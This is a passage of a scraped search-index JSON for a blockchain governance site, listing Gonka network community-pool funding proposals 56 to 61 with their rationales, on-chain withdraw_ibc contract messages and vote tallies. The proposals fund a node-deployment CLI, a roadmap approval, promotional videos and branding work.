"}, {"location": "proposals/proposals/2026-q2/56/#tldr", "title": "TL;DR", "text": "INC4 proposes a 50,000 USDT allocation from the CommunityPool for gonka-nop (Node Onboarding Package), a CLI tool for deploying and maintaining Gonka nodes. The tool is already built, released under the MIT license, and in active use by some operators on mainnet — it is not a proposal to build something new, but a request to fund work that has already produced a working tool with its own users. The grant covers three areas: the work already delivered, ongoing support for NOP users, and continued development of the tool. The grant is paid in USDT rather than the native GNK token, and is structured as a single transfer without vesting or milestone tranches. There is no detailed budget breakdown and no milestone schedule: allocation of effort across the three areas remains at INC4's discretion, with the public repository serving as the basis of accountability.
"}, {"location": "proposals/proposals/2026-q2/56/#what-is-gonka-nop", "title": "What is gonka-nop", "text": "Gonka NOP is a CLI that reduces deploying a Gonka node to a single operation. The tool inspects the state of the target server, installs missing dependencies, brings up the required components in the correct order, and registers the node with the network. Gonka-specific details are encoded inside the tool and updated alongside network releases, so the operator does not have to track them release by release. This includes image versions, vLLM configuration tuned to the specific GPU model present on the host, registration parameters expected by the chain, and readiness conditions a node must satisfy before PoC and cPoC rounds. This is what separates NOP from a docker-compose bundle: it carries Gonka's operational model, not just its container set. The main deployment topologies are supported: a standalone Network Node, a combined configuration with the ML Node on the same machine, and a distributed setup with multiple ML Nodes on separate hosts behind a single Network Node.
The tool addresses two distinct audiences. For operators without deep DevOps experience, it lowers the entry barrier: renting a server with a suitable GPU and stepping through an interactive wizard is enough, with no need to work through GPU drivers, the interaction between layers, or vLLM configuration files by hand. The wizard surfaces the small set of choices an operator actually needs to make — topology, hardware profile, network endpoints — and resolves the rest from defaults that track current network requirements. For experienced administrators, the same binary provides repeatability: most prompts in the wizard have an equivalent command-line flag, the binary runs non-interactively when configuration is supplied up front, and the resulting invocations integrate cleanly into Ansible playbooks and other automation systems. The same flags drive both initial deployment and in-place upgrades, so the path from a fresh installation to a node running the latest release is the same single command across an operator's fleet. Deploying dozens of nodes ends up roughly as complex as deploying one, which matters for any operator running a fleet rather than a single instance.
Deploying a Gonka node is a multi-step process involving several heterogeneous components: GPU drivers, the container runtime, and the various Gonka components themselves. Each layer has its own requirements for versions, ports, resources, and configuration order. The interfaces between them are unforgiving — a mismatch in any one place rarely shows up during installation; it surfaces later, once the node is expected to serve PoC and cPoC rounds. Requirements also shift periodically with network releases: new models replace older ones, image tags move, vLLM parameters get retuned, additional GPU families enter the supported set, and the specific combination of versions that constitutes a valid node at any given moment is not the same combination that was valid two releases earlier. Each shift touches a different subset of layers, and the operator carries the cost of working out which subset that is.
The combination of a Cosmos SDK chain with a production ML inference stack under the same operator is uncommon. The operational knowledge needed to manage both — chain-level concerns like consensus participation and slashing, alongside infrastructure concerns like GPU memory layout and model serving — is not widely available outside specialized teams.
The cost of getting it wrong falls on the operator. Missed PoC and cPoC rounds, a lagging Network Node, or version mismatches between components can all result in lost rewards and possibly jail. Time spent diagnosing incidents does not come back. For an experienced administrator this is tractable but time-consuming. For an operator new to Cosmos SDK networks, the requirement stack is in practice impassable without external help. NOP removes that part of the workload from the operator.
"}, {"location": "proposals/proposals/2026-q2/56/#proposal", "title": "Proposal", "text": "The funding request reflects the structure of the work itself: what has already been delivered, what is needed to keep it running, and what comes next. The grant covers three corresponding areas.
Retroactive compensation for development already delivered. The current version of NOP is a working tool with an active user base among mainnet operators. INC4 took on the initial development as a contribution to the network. The retroactive portion of the grant settles that delivered work.
Support for NOP users. INC4 triages incidents, helps with diagnostics during deployment and operation, responds in DevOps chats, and ships patches and updates aligned with new Gonka releases. This workload is recurring rather than one-off — it returns each time the network changes. The grant commits INC4 to maintaining the tool under the same model.
Continued development. New capabilities, broader coverage of deployment scenarios, further reductions in the entry barrier. Concrete tasks are shaped in dialogue with operators and the Gonka core team, and tracked publicly in the repository. The proposal deliberately does not pre-commit to a feature list: priorities need to remain responsive to what the network actually requires as it evolves.
"}, {"location": "proposals/proposals/2026-q2/56/#grant-terms", "title": "Grant terms", "text": "The amount is 50,000 USDT, paid as a single transfer, without vesting and without milestone tranches. Work is conducted in the open: code, releases, the issue tracker, and the changelog all live on GitHub and are accessible to anyone — operators, the core team, and DAO participants. No additional reporting structure to the DAO is proposed: the public repository is the report. Anyone — community member, validator, or core contributor — can inspect the state of the work at any point after the grant is approved, without having to ask.
The proposal was published for community discussion in advance of this on-chain submission. The discussions remain open at:
This grant is about how easily the network can absorb new operators. Today most Gonka operators are people with the experience to deploy and run a node on their own. That works while the network grows through its core, but at some point growth runs into the entry barrier for everyone without that background. NOP removes that barrier: a new operator doesn't have to understand the internals, and an experienced operator gets the automation to manage a fleet of nodes.
The network changes with every release — new models, updated images, adjusted parameters. If the tool doesn't keep up, it quickly becomes a snapshot of the past, and the entry barrier comes back. The grant funds exactly that work: keeping NOP current release after release.
The grant covers not just the product, but the work of keeping it current. Node deployment should stay simple as the network evolves, and the infrastructure layer shouldn't become a bottleneck to growth.
In mature networks, deployment tooling is treated as part of the protocol surface rather than a side project, maintained at the same cadence as the chain — the alternative is an operator set that thins out with every upgrade, as operators who cannot keep pace with each release quietly fall behind and stop participating. A network's long-term resilience is bounded by the breadth of operators who can keep their nodes correct through change, not by how many were able to set one up in the first place.
"}, {"location": "proposals/proposals/2026-q2/56/#inc4", "title": "INC4", "text": "/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"50000000000\",\n \"recipient\": \"gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3\"\n }\n },\n \"funds\": []\n }\n]\nA CommunityPool funding request covering delivered work on gonka-nop, ongoing operator support, and continued development of the tool.
"}, {"location": "proposals/proposals/2026-q2/56/full-proposal/#tldr", "title": "TL;DR", "text": "INC4 proposes a 50,000 USDT allocation from the CommunityPool for gonka-nop (Node Onboarding Package), a CLI tool for deploying and maintaining Gonka nodes. The tool is already built, released under the MIT license, and in active use by some operators on mainnet — it is not a proposal to build something new, but a request to fund work that has already produced a working tool with its own users. The grant covers three areas: the work already delivered, ongoing support for NOP users, and continued development of the tool. The grant is paid in USDT rather than the native GNK token, and is structured as a single transfer without vesting or milestone tranches. There is no detailed budget breakdown and no milestone schedule: allocation of effort across the three areas remains at INC4's discretion, with the public repository serving as the basis of accountability.
"}, {"location": "proposals/proposals/2026-q2/56/full-proposal/#what-is-gonka-nop", "title": "What is gonka-nop", "text": "Gonka NOP is a CLI that reduces deploying a Gonka node to a single operation. The tool inspects the state of the target server, installs missing dependencies, brings up the required components in the correct order, and registers the node with the network. Gonka-specific details are encoded inside the tool and updated alongside network releases, so the operator does not have to track them release by release. This includes image versions, vLLM configuration tuned to the specific GPU model present on the host, registration parameters expected by the chain, and readiness conditions a node must satisfy before PoC and cPoC rounds. This is what separates NOP from a docker-compose bundle: it carries Gonka's operational model, not just its container set. The main deployment topologies are supported: a standalone Network Node, a combined configuration with the ML Node on the same machine, and a distributed setup with multiple ML Nodes on separate hosts behind a single Network Node.
The tool addresses two distinct audiences. For operators without deep DevOps experience, it lowers the entry barrier: renting a server with a suitable GPU and stepping through an interactive wizard is enough, with no need to work through GPU drivers, the interaction between layers, or vLLM configuration files by hand. The wizard surfaces the small set of choices an operator actually needs to make — topology, hardware profile, network endpoints — and resolves the rest from defaults that track current network requirements. For experienced administrators, the same binary provides repeatability: most prompts in the wizard have an equivalent command-line flag, the binary runs non-interactively when configuration is supplied up front, and the resulting invocations integrate cleanly into Ansible playbooks and other automation systems. The same flags drive both initial deployment and in-place upgrades, so the path from a fresh installation to a node running the latest release is the same single command across an operator's fleet. Deploying dozens of nodes ends up roughly as complex as deploying one, which matters for any operator running a fleet rather than a single instance.
Deploying a Gonka node is a multi-step process involving several heterogeneous components: GPU drivers, the container runtime, and the various Gonka components themselves. Each layer has its own requirements for versions, ports, resources, and configuration order. The interfaces between them are unforgiving — a mismatch in any one place rarely shows up during installation; it surfaces later, once the node is expected to serve PoC and cPoC rounds. Requirements also shift periodically with network releases: new models replace older ones, image tags move, vLLM parameters get retuned, additional GPU families enter the supported set, and the specific combination of versions that constitutes a valid node at any given moment is not the same combination that was valid two releases earlier. Each shift touches a different subset of layers, and the operator carries the cost of working out which subset that is.
The combination of a Cosmos SDK chain with a production ML inference stack under the same operator is uncommon. The operational knowledge needed to manage both — chain-level concerns like consensus participation and slashing, alongside infrastructure concerns like GPU memory layout and model serving — is not widely available outside specialized teams.
The cost of getting it wrong falls on the operator. Missed PoC and cPoC rounds, a lagging Network Node, or version mismatches between components can all result in lost rewards and possibly jail. Time spent diagnosing incidents does not come back. For an experienced administrator this is tractable but time-consuming. For an operator new to Cosmos SDK networks, the requirement stack is in practice impassable without external help. NOP removes that part of the workload from the operator.
"}, {"location": "proposals/proposals/2026-q2/56/full-proposal/#proposal", "title": "Proposal", "text": "The funding request reflects the structure of the work itself: what has already been delivered, what is needed to keep it running, and what comes next. The grant covers three corresponding areas.
Retroactive compensation for development already delivered. The current version of NOP is a working tool with an active user base among mainnet operators. INC4 took on the initial development as a contribution to the network. The retroactive portion of the grant settles that delivered work.
Support for NOP users. INC4 triages incidents, helps with diagnostics during deployment and operation, responds in DevOps chats, and ships patches and updates aligned with new Gonka releases. This workload is recurring rather than one-off — it returns each time the network changes. The grant commits INC4 to maintaining the tool under the same model.
Continued development. New capabilities, broader coverage of deployment scenarios, further reductions in the entry barrier. Concrete tasks are shaped in dialogue with operators and the Gonka core team, and tracked publicly in the repository. The proposal deliberately does not pre-commit to a feature list: priorities need to remain responsive to what the network actually requires as it evolves.
"}, {"location": "proposals/proposals/2026-q2/56/full-proposal/#grant-terms", "title": "Grant terms", "text": "The amount is 50,000 USDT, paid as a single transfer, without vesting and without milestone tranches. Work is conducted in the open: code, releases, the issue tracker, and the changelog all live on GitHub and are accessible to anyone — operators, the core team, and DAO participants. No additional reporting structure to the DAO is proposed: the public repository is the report. Anyone — community member, validator, or core contributor — can inspect the state of the work at any point after the grant is approved, without having to ask.
The proposal was published for community discussion in advance of this on-chain submission. The discussions remain open at:
This grant is about how easily the network can absorb new operators. Today most Gonka operators are people with the experience to deploy and run a node on their own. That works while the network grows through its core, but at some point growth runs into the entry barrier for everyone without that background. NOP removes that barrier: a new operator doesn't have to understand the internals, and an experienced operator gets the automation to manage a fleet of nodes.
The network changes with every release — new models, updated images, adjusted parameters. If the tool doesn't keep up, it quickly becomes a snapshot of the past, and the entry barrier comes back. The grant funds exactly that work: keeping NOP current release after release.
The grant covers not just the product, but the work of keeping it current. Node deployment should stay simple as the network evolves, and the infrastructure layer shouldn't become a bottleneck to growth.
In mature networks, deployment tooling is treated as part of the protocol surface rather than a side project, maintained at the same cadence as the chain — the alternative is an operator set that thins out with every upgrade, as operators who cannot keep pace with each release quietly fall behind and stop participating. A network's long-term resilience is bounded by the breadth of operators who can keep their nodes correct through change, not by how many were able to set one up in the first place.
"}, {"location": "proposals/proposals/2026-q2/56/full-proposal/#inc4", "title": "INC4", "text": "Passed
Proposal ID: 57
Type: —
Submit: 2026-05-28 09:48 UTC
Voting: 2026-05-28 09:48 UTC → 2026-05-30 09:48 UTC
Proposer: gonka1k6p754pyhxud2399knyccgjpjvdafj2u9xlgyf
Metadata: https://github.com/gonka-ai/gonka/pull/1266
View on gonka.gg
This proposal approves the Gonka Network Development Roadmap as a strategic direction document for Gonka's future development tracks.
If approved, the roadmap should become the shared vision for Gonka's future.
The roadmap has been submitted as a pull request to the public repository: https://github.com/gonka-ai/gonka/pull/1266
You can read the full text here: https://github.com/gonka-ai/gonka/blob/da8750873216e3a96a1ac19fbd64bbf052f2160b/proposals/gonka-network-development-roadmap.md
If passed, repository maintainers should merge the pull request.
If not passed, they should close it as rejected while keeping the proposed text publicly available for transparency.
"}, {"location": "proposals/proposals/2026-q2/57/#important-note", "title": "Important Note", "text": "This proposal does not approve budgets, contractors, implementation details, Foundation structure, or immediate execution of any listed project.
It approves the general strategic direction first.
"}, {"location": "proposals/proposals/2026-q2/57/#execution-framework", "title": "Execution Framework", "text": "If this roadmap is approved, it should open two follow-up directions.
"}, {"location": "proposals/proposals/2026-q2/57/#1-external-teams-and-contributors", "title": "1. External Teams and Contributors", "text": "External teams, contributors, and ecosystem participants can start preparing concrete proposals for specific roadmap tracks and projects.
These proposals should define the actual scope, delivery plan, team, budget, timeline, milestones, KPIs, maintenance expectations, and handoff requirements.
"}, {"location": "proposals/proposals/2026-q2/57/#2-foundation-framework-discussion", "title": "2. Foundation Framework Discussion", "text": "The roadmap also opens a separate discussion around the legal and operational framework Gonka may need to support the network's future development.
The Foundation's legal structure, responsibilities, accountability model, treasury scope, and relationship with governance should be discussed and approved through a separate governance process.
"}, {"location": "proposals/proposals/2026-q2/57/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →This PR adds the Gonka Network Development Roadmap as a strategic direction document for Gonka’s future development tracks.
If approved through governance and merged into the repository, the roadmap should become a shared reference point for future proposals, funding discussions, and network development.
[!NOTE] This roadmap does not approve budgets, contractors, implementation details, Foundation structure, or immediate execution of any listed project.
It sets the general strategic direction first.
Future changes to roadmap tracks and projects should go through the Gonka Improvement Protocol process: public discussion, community feedback, a GitHub pull request showing the proposed changes to the roadmap document, and then a governance proposal to approve the update.
"}, {"location": "proposals/proposals/2026-q2/57/#execution-framework_1", "title": "Execution Framework", "text": "If this roadmap is approved, it should open two follow-up directions.
"}, {"location": "proposals/proposals/2026-q2/57/#1-external-teams-and-contributors_1", "title": "1. External Teams and Contributors", "text": "External teams, contributors, and ecosystem participants can start preparing concrete proposals for specific roadmap tracks and projects.
These proposals should define the actual scope, delivery plan, team, budget, timeline, milestones, KPIs, maintenance expectations, and handoff requirements.
"}, {"location": "proposals/proposals/2026-q2/57/#2-foundation-framework-discussion_1", "title": "2. Foundation Framework Discussion", "text": "The roadmap also opens a separate discussion around the legal and operational framework Gonka may need to support the network’s future development.
The Foundation’s legal structure, responsibilities, accountability model, treasury scope, and relationship with governance should be discussed and approved through a separate governance process.
"}, {"location": "proposals/proposals/2026-q2/57/#final-tally", "title": "Final Tally", "text": "Yes 257,150 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 257,150 votes"}, {"location": "proposals/proposals/2026-q2/57/#messages", "title": "Messages", "text": "# Type Contract Details[]\nThis PR adds the Gonka Network Development Roadmap as a strategic direction document for Gonka’s future development tracks.
If approved through governance and merged into the repository, the roadmap should become a shared reference point for future proposals, funding discussions, and network development.
[!NOTE] This roadmap does not approve budgets, contractors, implementation details, Foundation structure, or immediate execution of any listed project.
It sets the general strategic direction first.
Future changes to roadmap tracks and projects should go through the Gonka Improvement Protocol process: public discussion, community feedback, a GitHub pull request showing the proposed changes to the roadmap document, and then a governance proposal to approve the update.
"}, {"location": "proposals/proposals/2026-q2/57/full-proposal/#execution-framework", "title": "Execution Framework", "text": "If this roadmap is approved, it should open two follow-up directions.
"}, {"location": "proposals/proposals/2026-q2/57/full-proposal/#1-external-teams-and-contributors", "title": "1. External Teams and Contributors", "text": "External teams, contributors, and ecosystem participants can start preparing concrete proposals for specific roadmap tracks and projects.
These proposals should define the actual scope, delivery plan, team, budget, timeline, milestones, KPIs, maintenance expectations, and handoff requirements.
"}, {"location": "proposals/proposals/2026-q2/57/full-proposal/#2-foundation-framework-discussion", "title": "2. Foundation Framework Discussion", "text": "The roadmap also opens a separate discussion around the legal and operational framework Gonka may need to support the network’s future development.
The Foundation’s legal structure, responsibilities, accountability model, treasury scope, and relationship with governance should be discussed and approved through a separate governance process.
"}, {"location": "proposals/proposals/2026-q2/58/", "title": "#58 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky)", "text": "Rejected
Proposal ID: 58
Type: Execute Contract
Submit: 2026-05-28 16:27 UTC
Voting: 2026-05-28 16:27 UTC → 2026-05-30 16:27 UTC
Proposer: gonka1v5cl6pudnagau7exyu3a9h74clw9zm7l5psp0r
Metadata: https://vote.gonka.vip/tenders/550f71de-897f-4ce5-8af8-97854775f8b2
Failed reason: proposal did not get enough votes to pass
$70,000 · Community PoolView on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/58/#big-youtube-deep-dive-on-falcon-finance-alexander-sokolovsky", "title": "Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky)", "text": "70,000 USDT from the CommunityPool for a dedicated Falcon Finance deep-dive on Gonka AI. Full proposal: https://vote.gonka.vip/tenders/550f71de-897f-4ce5-8af8-97854775f8b2
"}, {"location": "proposals/proposals/2026-q2/58/#about-the-channel", "title": "About the channel", "text": "Falcon Finance (https://www.youtube.com/@FalconFinanceX) is a highly influential YouTube channel by Alexander Sokolovsky (160k+ subscribers, 100k–600k+ views per video) reaching a thoughtful audience interested in the economy and the future. In October 2025, Alexander released the viral Liberman brothers interview (\"OpenAI is a bubble\"), which became the first touchpoint with Gonka AI for many of our current active community members.
"}, {"location": "proposals/proposals/2026-q2/58/#what-the-grant-covers", "title": "What the grant covers", "text": "Fund a dedicated 25–35 minute high-quality, author-driven video exploring the core dilemma of the AI future. The video will contrast the path of corporate monopoly with the decentralized, open AI approach. Gonka AI will be deeply and natively integrated as the prime example of the positive scenario — showcasing useful Proof-of-Work and open compute infrastructure.
"}, {"location": "proposals/proposals/2026-q2/58/#value-projections", "title": "Value & projections", "text": "This is a full-scale analytical deep-dive that builds genuine trust rather than acting as a direct advertisement. The content aims to generate organic comments and spark high-quality discussion, serving as evergreen content that — provided the core issue resonates with the audience — has the potential to continue driving developers, investors, and enthusiasts to Gonka for months to come.
"}, {"location": "proposals/proposals/2026-q2/58/#terms", "title": "Terms", "text": "/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"amount\": \"70000000000\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"recipient\": \"gonka1w6amu8jg623pqrfw3a8wxlz0s2ph2yp0wvpuu3\"\n }\n },\n \"funds\": []\n }\n]\nRejected
Proposal ID: 59
Type: Execute Contract
Submit: 2026-05-31 13:08 UTC
Voting: 2026-05-31 13:08 UTC → 2026-06-02 13:08 UTC
Proposer: gonka1tg7x8pv5lfnytkr9av3532mf2qq22ysdxxzr87
Metadata: Examples of work the team contributed to: https://www.youtube.com/watch?v=HzF6kyS3Fb8 | https://www.udemy.com/course/build-smart-contracts-for-cardano-blockchain/
Failed reason: proposal did not get enough votes to pass
$5,000 · Community PoolView on gonka.gg
Funds milestone 1 (upfront prepayment) of a community-produced onboarding video guide for Gonka. Deliverable: a series of ~15 short, interactive, easy-to-follow videos covering A-to-Z onboarding for both hosts and inference users, following the official Gonka documentation. Produced by a 3-person team that has contributed to blockchain education content, including work on explanatory videos for CoinGecko and on paid, well-reviewed Udemy blockchain courses. Total project budget: 15,000 USDT, split across two governance proposals to cap network risk. This proposal disburses 5,000 USDT (~33%) as upfront funding; a second proposal will request the remaining 10,000 USDT on delivery (target ~3 weeks). Recipient: gonka1tg7x8pv5lfnytkr9av3532mf2qq22ysdxxzr87. Amount: 5,000 USDT. Examples of prior work: https://www.youtube.com/watch?v=HzF6kyS3Fb8 and https://www.udemy.com/course/build-smart-contracts-for-cardano-blockchain/ . Questions: rohan.sm.content@outlook.com.
"}, {"location": "proposals/proposals/2026-q2/59/#final-tally", "title": "Final Tally", "text": "Yes 24,505 (43.6%) No 0 (0.0%) Veto 0 (0.0%) Abstain 31,699 (56.4%) Total 56,204 votes"}, {"location": "proposals/proposals/2026-q2/59/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"amount\": \"5000000000\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"recipient\": \"gonka1tg7x8pv5lfnytkr9av3532mf2qq22ysdxxzr87\"\n }\n },\n \"funds\": []\n }\n]\nPassed
Proposal ID: 60
Type: Execute Contract
Submit: 2026-06-02 08:15 UTC
Voting: 2026-06-02 08:15 UTC → 2026-06-04 08:15 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/1
$25,000 · Community PoolView on gonka.gg
Brand audit, competitive positioning, and audience segmentation for Gonka.AI. Single-tranche payment of 25,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/60/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track A
Before scaling — you need to know who you are, who you're for, and what makes you credibly different. This is step one.
Payment: 25,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Positioning isn't a tagline. It's the foundational document that everything else depends on — how the brand looks, how it sounds, who it speaks to, and how it explains its value to different audiences. Without it, a brandbook is just pretty colors, and campaigns are noise without an address.
We begin with a deep dive into Gonka: the product, the technology, and how it's currently perceived. In parallel, we map the competitive landscape across AI infrastructure and DePIN to find the territory Gonka can own credibly and long-term. The output is a concrete document with a brand idea, values, archetype, tone of voice, and audience personas for three key groups.
The process is iterative. We run stakeholder sessions with the Gonka team, gather feedback, and align direction before finalizing.
"}, {"location": "proposals/proposals/2026-q2/60/#what-we-deliver", "title": "What we deliver", "text": "A positioning and audience-strategy document, signed off with Gonka stakeholders at the final presentation. Unlocks Brandbook development (1.2) and serves as the strategic foundation for every subsequent phase.
"}, {"location": "proposals/proposals/2026-q2/60/#terms", "title": "Terms", "text": "Timeline 3–4 weeks Format Fixed scope Commitment This phase only Unlocks Offer 1.2"}, {"location": "proposals/proposals/2026-q2/60/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 25,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"25000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 25,000 × 10⁶ = 25,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/60/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/60/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"25000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n }\n },\n \"funds\": []\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track A
Before scaling — you need to know who you are, who you're for, and what makes you credibly different. This is step one.
Payment: 25,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Positioning isn't a tagline. It's the foundational document that everything else depends on — how the brand looks, how it sounds, who it speaks to, and how it explains its value to different audiences. Without it, a brandbook is just pretty colors, and campaigns are noise without an address.
We begin with a deep dive into Gonka: the product, the technology, and how it's currently perceived. In parallel, we map the competitive landscape across AI infrastructure and DePIN to find the territory Gonka can own credibly and long-term. The output is a concrete document with a brand idea, values, archetype, tone of voice, and audience personas for three key groups.
The process is iterative. We run stakeholder sessions with the Gonka team, gather feedback, and align direction before finalizing.
"}, {"location": "proposals/proposals/2026-q2/60/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "A positioning and audience-strategy document, signed off with Gonka stakeholders at the final presentation. Unlocks Brandbook development (1.2) and serves as the strategic foundation for every subsequent phase.
"}, {"location": "proposals/proposals/2026-q2/60/full-proposal/#terms", "title": "Terms", "text": "Timeline 3–4 weeks Format Fixed scope Commitment This phase only Unlocks Offer 1.2"}, {"location": "proposals/proposals/2026-q2/60/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 25,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"25000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 25,000 × 10⁶ = 25,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/61/", "title": "#61 – TheSoul - Offer 1.2: Brandbook (20,000 USDT)", "text": "Passed
Proposal ID: 61
Type: Execute Contract
Submit: 2026-06-02 08:19 UTC
Voting: 2026-06-02 08:19 UTC → 2026-06-04 08:19 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/2
$20,000 · Community PoolView on gonka.gg
Brand identity system for Gonka.AI: logo, typography, color system, graphic language, layout principles, and templates, built on the positioning from Offer 1.1. Single-tranche payment of 20,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/61/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track A
The complete brand identity system — logo, color, typography, visual language, and templates. Everything that defines how Gonka looks and speaks, in one production-ready document.
Payment: 20,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
A brandbook isn't decoration. It's a production document that every visual decision depends on — the website, social media, merch, investor decks. It's built strictly on the positioning from 1.1 — the archetype, tone of voice, and brand idea. Without that foundation, the visual style will be arbitrary.
We develop the complete system: logo suite with usage variants, color system and typography, graphic language and patterns, photo style and layout principles, SMM and digital templates, merch direction. Every decision is strategically justified.
The process is iterative. Three rounds of alignment: concept directions → development of the chosen direction → finalization. Each round includes a presentation to the Gonka team with the rationale behind every decision.
"}, {"location": "proposals/proposals/2026-q2/61/#what-we-deliver", "title": "What we deliver", "text": "Complete brandbook PDF plus all source files, signed off with the Gonka community at the final presentation. Unlocks all visual production in Phase 2+. No visual asset moves forward without this document.
"}, {"location": "proposals/proposals/2026-q2/61/#terms", "title": "Terms", "text": "Timeline 4–6 weeks Format Fixed scope Commitment This phase only Requires Offer 1.1"}, {"location": "proposals/proposals/2026-q2/61/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 20,000 USDT (IBC) to the recipient wallet:
